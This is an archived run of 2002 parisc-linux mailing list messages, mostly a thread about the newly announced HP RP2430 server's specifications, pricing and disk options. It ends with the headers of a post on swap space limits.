	by dsl2.external.hp.com (Postfix) with ESMTP id 84D8348AF
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 13:37:54 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id 8F98417FCAB; Sat,  9 Mar 2002 07:39:03 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <Pine.LNX.4.21.0203081234300.20837-100000@ns>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14279

> Erm.  Whare are you going to put the disks for the 3ware?

On top of the box,
unshielded disks gather dust.
I hear them rattle.

	Duraid




From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Broadley <bill@math.ucdavis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 14:13:12 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20020308141312.B6207@sphere.math.ucdavis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621139 4258 80.91.229.3 (22 Nov 2014 01:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 15:13:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sphere.math.ucdavis.edu (sphere.math.ucdavis.edu [169.237.99.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9FCF483F
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 15:13:13 -0700 (MST)
Original-Received: (from bill@localhost)
	by sphere.math.ucdavis.edu (8.11.6/8.11.6) id g28MDCr08233;
	Fri, 8 Mar 2002 14:13:12 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14280

Hey, just heard about the new HP RP2430:
http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html 

Part number is A6889A:
	650 Mhz PA-8700 with 2.25 MB cache
	2 64 bit/66 Mhz
	128 MB ram 1.9 GB/sec, 2GB max (claimed peak)
	2U
	Ultra scsi and Ultra2 scsi
	100baseT and 10BaseT (2 ethernet I believe)
	2 serial (inc serial console)

$1095!!!!!!

It has no disk, but HP says they will ship it without.  The disk prices
are unfortunately insane.

-- 
Bill Broadley
Mathematics/Institute of Theoretical Dynamics
UC Davis



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 22:41:43 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <E16jT3X-0007nV-00@the-village.bc.nu>
References: <20020308141312.B6207@sphere.math.ucdavis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621139 4263 80.91.229.3 (22 Nov 2014 01:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bill@math.ucdavis.edu (Bill Broadley)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 15:26:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A5C948B3
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 15:26:25 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16jT3X-0007nV-00; Fri, 08 Mar 2002 22:41:43 +0000
In-Reply-To: <20020308141312.B6207@sphere.math.ucdavis.edu> from "Bill Broadley" at Mar 08, 2002 02:13:12 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14281

> 	2 64 bit/66 Mhz
> 	128 MB ram 1.9 GB/sec, 2GB max (claimed peak)
> 	2U
> 	Ultra scsi and Ultra2 scsi
> 	100baseT and 10BaseT (2 ethernet I believe)
> 	2 serial (inc serial console)
> 
> It has no disk, but HP says they will ship it without.  The disk prices
> are unfortunately insane.

Time to buy a PCI ide controller and figure out how to thread the cables 8)



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 15:33:40 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200203082333.PAA07522@opus.allegro.com>
References: <20020308141312.B6207@sphere.math.ucdavis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621140 4268 80.91.229.3 (22 Nov 2014 01:52:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bill@math.ucdavis.edu (Bill Broadley)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 16:33:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFB2648B2
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 16:33:49 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id PAA07522;
	Fri, 8 Mar 2002 15:33:40 -0800
In-Reply-To: <20020308141312.B6207@sphere.math.ucdavis.edu> from "Bill Broadley" at Mar 08, 2002 02:13:12 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14282

Re:

> Hey, just heard about the new HP RP2430:
> http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html 
 
> $1095!!!!!!

Where did you find a price quote?  I followed HP's poor web pages with
no success.  Going to "quick quote" from the above page takes you to a page
that takes you to a page (via "create a new system") that knows about 
various rpxxxx models, but not the rp24xx line!

thanks,

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: 08 Mar 2002 18:35:17 -0500
Organization: mkp.net
Lines: 21
Approved: news@gmane.org
Message-ID: <yq1ofhyvdje.fsf@austin.mkp.net>
References: <200203082333.PAA07522@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621140 4270 80.91.229.3 (22 Nov 2014 01:52:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:20 +0000 (UTC)
Cc: bill@math.ucdavis.edu (Bill Broadley),
	parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 16:35:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C86548B9
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 16:35:28 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16jTtP-0006aE-00; Fri, 08 Mar 2002 18:35:19 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g28NZHf02987;
	Fri, 8 Mar 2002 18:35:17 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <200203082333.PAA07522@opus.allegro.com>
Original-Lines: 19
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14283

>>>>> "Stan" == Stan Sieler <sieler@allegro.com> writes:

Stan> Re:
>> Hey, just heard about the new HP RP2430:
>> http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html
 
>> $1095!!!!!!

Stan> Where did you find a price quote?  I followed HP's poor web
Stan> pages with no success.  Going to "quick quote" from the above
Stan> page takes you to a page that takes you to a page (via "create a
Stan> new system") that knows about various rpxxxx models, but not the
Stan> rp24xx line!

Follow the link for A-class...

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: 08 Mar 2002 18:39:46 -0500
Organization: mkp.net
Lines: 27
Approved: news@gmane.org
Message-ID: <yq1k7smvdbx.fsf@austin.mkp.net>
References: <20020308141312.B6207@sphere.math.ucdavis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621140 4277 80.91.229.3 (22 Nov 2014 01:52:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bill Broadley <bill@math.ucdavis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 16:39:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCE0848BD
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 16:39:47 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16jTxj-0006bJ-00; Fri, 08 Mar 2002 18:39:47 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g28NdkG02999;
	Fri, 8 Mar 2002 18:39:46 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <20020308141312.B6207@sphere.math.ucdavis.edu>
Original-Lines: 25
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14284

>>>>> "Bill" == Bill Broadley <bill@math.ucdavis.edu> writes:

Bill> Hey, just heard about the new HP RP2430:
Bill> http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html

Bill> Part number is A6889A:
Bill> 	650 Mhz PA-8700 with 2.25 MB cache 2 64 bit/66 Mhz 128 MB ram
Bill> 	1.9 GB/sec, 2GB max (claimed peak) 2U Ultra scsi and Ultra2
Bill> 	scsi 100baseT and 10BaseT (2 ethernet I believe) 2 serial (inc
Bill> 	serial console)

Bill> $1095!!!!!!

Bill> It has no disk, but HP says they will ship it without.  The disk
Bill> prices are unfortunately insane.

I don't know if my A500 was special, but it came with a disk carrier
in the empty storage bay.  And it uses standard SCA drives.  So I
added an extra drive.

If that's the case on the new machines too, Bob's your uncle...

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 15:53:41 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200203082353.PAA09422@opus.allegro.com>
References: <yq1ofhyvdje.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621141 4283 80.91.229.3 (22 Nov 2014 01:52:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:21 +0000 (UTC)
Cc: bill@math.ucdavis.edu (Bill Broadley),
	parisc-linux@lists.parisc-linux.org
To: mkp@mkp.net (Martin K. Petersen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 16:53:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3DFB4846
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 16:53:55 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id PAA09422;
	Fri, 8 Mar 2002 15:53:41 -0800
In-Reply-To: <yq1ofhyvdje.fsf@austin.mkp.net> from "Martin K. Petersen" at Mar 08, 2002 06:35:17 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14285

Re:

> >> Hey, just heard about the new HP RP2430:
> >> http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html
>  
> Stan> Where did you find a price quote?  I followed HP's poor web
...
> Follow the link for A-class...

Silly me...thinking it would be with the other "rp..." links :)

thanks!

 
HP: always on (fire)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 16:00:52 -0800 (PST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200203090000.QAA09518@opus.allegro.com>
References: <yq1ofhyvdje.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621141 4289 80.91.229.3 (22 Nov 2014 01:52:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:21 +0000 (UTC)
Cc: bill@math.ucdavis.edu (Bill Broadley),
	parisc-linux@lists.parisc-linux.org
To: mkp@mkp.net (Martin K. Petersen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 17:00:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94ABE48C2
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 17:00:55 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id QAA09518;
	Fri, 8 Mar 2002 16:00:52 -0800
In-Reply-To: <yq1ofhyvdje.fsf@austin.mkp.net> from "Martin K. Petersen" at Mar 08, 2002 06:35:17 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14286

Re:

> >> http://www.hp.com/products1/servers/rackoptimized/rp2400/specifications.html
>  
> >> $1095!!!!!!
> 
> Follow the link for A-class...

The best I could do is get it down to $1895 and "error" in the price :)

Oh well...  

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Broadley <bill@math.ucdavis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Cheap HP RP2430
Date: Fri, 8 Mar 2002 16:20:11 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20020308162011.I6207@sphere.math.ucdavis.edu>
References: <yq1ofhyvdje.fsf@austin.mkp.net> <200203090000.QAA09518@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621141 4290 80.91.229.3 (22 Nov 2014 01:52:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:21 +0000 (UTC)
Cc: "Martin K. Petersen" <mkp@mkp.net>,
	Bill Broadley <bill@math.ucdavis.edu>,
	parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 17:21:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sphere.math.ucdavis.edu (sphere.math.ucdavis.edu [169.237.99.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35F3248BC
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 17:21:01 -0700 (MST)
Original-Received: (from bill@localhost)
	by sphere.math.ucdavis.edu (8.11.6/8.11.6) id g290KBL09229;
	Fri, 8 Mar 2002 16:20:11 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200203090000.QAA09518@opus.allegro.com>; from sieler@allegro.com on Fri, Mar 08, 2002 at 04:00:52PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14287

Click on console, and delete the by default HP3000 serial terminal or
whatever it's called.

Be careful to avoid the default Rack and UPS on the first page.

My lowest price I've quoted through quickquote is $USA $1,170, but that's
list apparently street price lower.   Add a $150-$200 IBM Ultrastar 80
pin/sca and your set.  Assuming linux works well and supports the serial,
network, and scsi.

-- 
Bill Broadley
Mathematics/Institute of Theoretical Dynamics
UC Davis



From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Swap space limitions for Linux on parisc
Date: Fri, 8 Mar 2002 18:27:34 -0700 (MST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200203090127.SAA05161@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621142 4293 80.91.229.3 (22 Nov 2014 01:52:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 18:27:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D8A848C5
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 18:27:50 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 834CA8054E1
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 20:27:49 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id SAA05161
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Mar 2002 18:27:34 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
